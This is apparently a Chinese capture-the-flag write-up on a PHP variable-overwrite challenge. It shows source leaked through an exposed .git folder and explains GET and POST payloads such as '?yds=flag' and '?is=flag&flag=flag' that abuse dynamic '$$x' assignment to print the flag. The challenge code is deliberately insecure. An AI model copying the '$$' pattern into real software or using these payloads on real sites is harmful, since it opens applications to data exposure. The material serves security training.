变量覆盖漏洞

变量覆盖漏洞

打开页面,然后用dirsearch扫描。发现.git文件泄露
flag.php

1
2
3
4
<?php

file_get_contents('/flag');
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}

echo "the flag is: ".$flag;

exit()

1
exit()函数会输出一条信息后退出

我们可以利用这个exit()函数来对调用flag.php文件里的file_get_contents(‘/flag’),读出flag出来

因此我们看

1
2
3
foreach($_GET as $x=>$y){
$$x=$$y;
}

中的$$x和$$y,我们可以看到有变量覆盖漏洞,因此我们get提交

1
?yds=flag

让$x=yds,$y=flag,所以

1
”$$x==$$y“相当于”$yds=$flag“

所以我们要办法利用exit($yds),因此我们要通过

1
if(!isset($_GET['flag']) && !isset($_POST['flag']))

这一个条件,所以我们要让$_GET[‘flag’]和$_POST[‘flag’]不存在,所以之前构造的

1
?yds=flag

便符合条件

而如果想利用exit($is)的话,我们可以利用

1
2
3
foreach($_GET as $x => $y){
$$x=$$y;
}

构造get提交

1
?is=flag

便会构成

1
”$$x=$$y“相当于”$is=$flag“

然后我们经过以下条件

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag']))

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')

所以get要提交的参数flag或post要提交参数flag,所以可以构造paload

1
2
3
4
5
6
?is=flag&flag=flag



get提交:?is=flag
post提交:flag=flag